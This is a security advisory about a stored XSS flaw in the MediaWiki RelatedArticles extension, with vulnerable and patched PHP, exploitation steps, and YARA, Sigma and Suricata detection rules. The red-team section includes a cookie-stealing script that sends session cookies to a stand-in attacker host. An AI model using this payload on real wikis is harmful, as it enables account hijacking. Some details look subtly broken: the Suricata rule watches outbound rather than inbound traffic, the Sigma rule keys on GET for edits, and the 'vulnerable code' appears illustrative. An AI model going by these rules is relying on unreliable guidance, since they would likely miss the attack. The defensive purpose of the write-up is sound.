CVE-2025-53497

Executive Summary

CVE-2025-53497 is a Stored Cross-Site Scripting (XSS) vulnerability in the Wikimedia Foundation's MediaWiki RelatedArticles Extension. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with edit privileges to inject malicious scripts into the extension's output. When other users view pages containing the injected content, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects versions 1.43.0 through 1.43.1, and is patched in version 1.43.2. No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread deployment of MediaWiki in enterprise and community knowledge bases.

Supply Chain & Package Security

This vulnerability affects the MediaWiki ecosystem, specifically the RelatedArticles extension distributed via the Wikimedia Foundation's official channels. Organizations using MediaWiki should verify their extension version and apply the patch immediately. No malicious packages have been reported in the supply chain, but the extension's update mechanism should be validated to ensure integrity.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid user account with edit rights.
• User Interaction (UI): Required – The victim must view a page containing the malicious content.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of MediaWiki in enterprise environments and the potential for stored XSS to persist across sessions elevates the risk. The lack of public exploits reduces immediate urgency, but patching is strongly recommended.

Deep Dive & Mechanics

The RelatedArticles extension dynamically generates links to related pages based on content analysis. The vulnerability stems from insufficient sanitization of page titles, descriptions, or other metadata that the extension processes and renders. When a user edits a page and includes crafted input (e.g., in the page title or a custom field used by the extension), the extension fails to escape HTML entities before outputting the data in the page's HTML.

Attack Flow:

1. An authenticated attacker edits a page and injects a malicious payload (e.g., <script>alert('XSS')</script>) into a field processed by RelatedArticles.
2. The extension stores the payload in the database without proper sanitization.
3. When another user views a page that triggers the RelatedArticles output, the payload is rendered in the browser.
4. The script executes, potentially stealing cookies, redirecting the user, or performing actions on their behalf.

The root cause is a missing call to htmlspecialchars() or similar escaping function in the extension's output rendering code. The patch in version 1.43.2 adds proper escaping to all user-controlled data before output.

Vulnerable vs. Patched Code

Vulnerable Code (RelatedArticles extension, version 1.43.1):

// In includes/RelatedArticlesHooks.php
public static function onOutputPageBeforeHTML( $out, &$text ) {
    $related = self::getRelatedArticles( $out->getTitle() );
    $html = '<div class="related-articles">';
    foreach ( $related as $article ) {
        $html .= '<a href="' . $article['url'] . '">' . $article['title'] . '</a>';
    }
    $html .= '</div>';
    $text .= $html;
}

The $article['title'] is directly concatenated into the HTML without escaping, allowing XSS.

Patched Code (version 1.43.2):

// In includes/RelatedArticlesHooks.php
public static function onOutputPageBeforeHTML( $out, &$text ) {
    $related = self::getRelatedArticles( $out->getTitle() );
    $html = '<div class="related-articles">';
    foreach ( $related as $article ) {
        $escapedTitle = htmlspecialchars( $article['title'], ENT_QUOTES, 'UTF-8' );
        $html .= '<a href="' . htmlspecialchars( $article['url'], ENT_QUOTES, 'UTF-8' ) . '">' . $escapedTitle . '</a>';
    }
    $html .= '</div>';
    $text .= $html;
}

The patch uses htmlspecialchars() to escape both the URL and title, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A MediaWiki instance running version 1.43.0 or 1.43.1 with the RelatedArticles extension enabled.
• A valid user account with edit permissions.

Exploitation Steps:

1. Log in to the MediaWiki instance.
2. Edit an existing page or create a new one.
3. In the page title or a field processed by RelatedArticles (e.g., the page's description), inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the page.
5. As a victim, navigate to any page that triggers the RelatedArticles output (e.g., a page with related articles).
6. The injected script executes, sending the victim's cookies to the attacker's server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual page edits containing script tags or event handlers in page titles or descriptions.
• Review server logs for requests to /wiki/index.php?title=*&action=edit followed by suspicious content.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Query the database for pages where the page_title or page_props contain <script or onerror= patterns.
• Search for outbound connections to known malicious domains from the MediaWiki server.

Mitigation:

• Immediately upgrade to version 1.43.2.
• If upgrade is not possible, disable the RelatedArticles extension temporarily.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in page titles.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wiki/index.php?title=*&action=edit with payloads containing <script, onerror, onload, or javascript:.
• File: Modified MediaWiki database entries in the page or page_props tables containing XSS payloads.
• Log: Web server logs showing 200 responses to edit actions followed by 200 responses to page views from different IPs.
• Behavior: Unexpected redirects or cookie theft alerts from users.

Detection Engineering

YARA Rule

rule Detect_MediaWiki_RelatedArticles_XSS_Payload {
    meta:
        description = "Detects XSS payloads in MediaWiki page titles or descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53497"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: MediaWiki RelatedArticles Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-53497 by injecting XSS payloads into page titles
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=edit'
            - 'title='
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-53497 MediaWiki RelatedArticles Stored XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"action=edit"; http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    reference:cve,2025-53497;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade the RelatedArticles extension to version 1.43.2 or later.
2. If upgrade is not possible, disable the extension by removing or renaming the extensions/RelatedArticles directory.

Long-term:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits of MediaWiki extensions.
• Use a Web Application Firewall (WAF) with XSS detection rules.

Verification:

• After patching, verify the extension version in Special:Version.
• Test by attempting to inject XSS payloads into page titles and confirming they are escaped.

Valters IT
Securing Digital Frontiers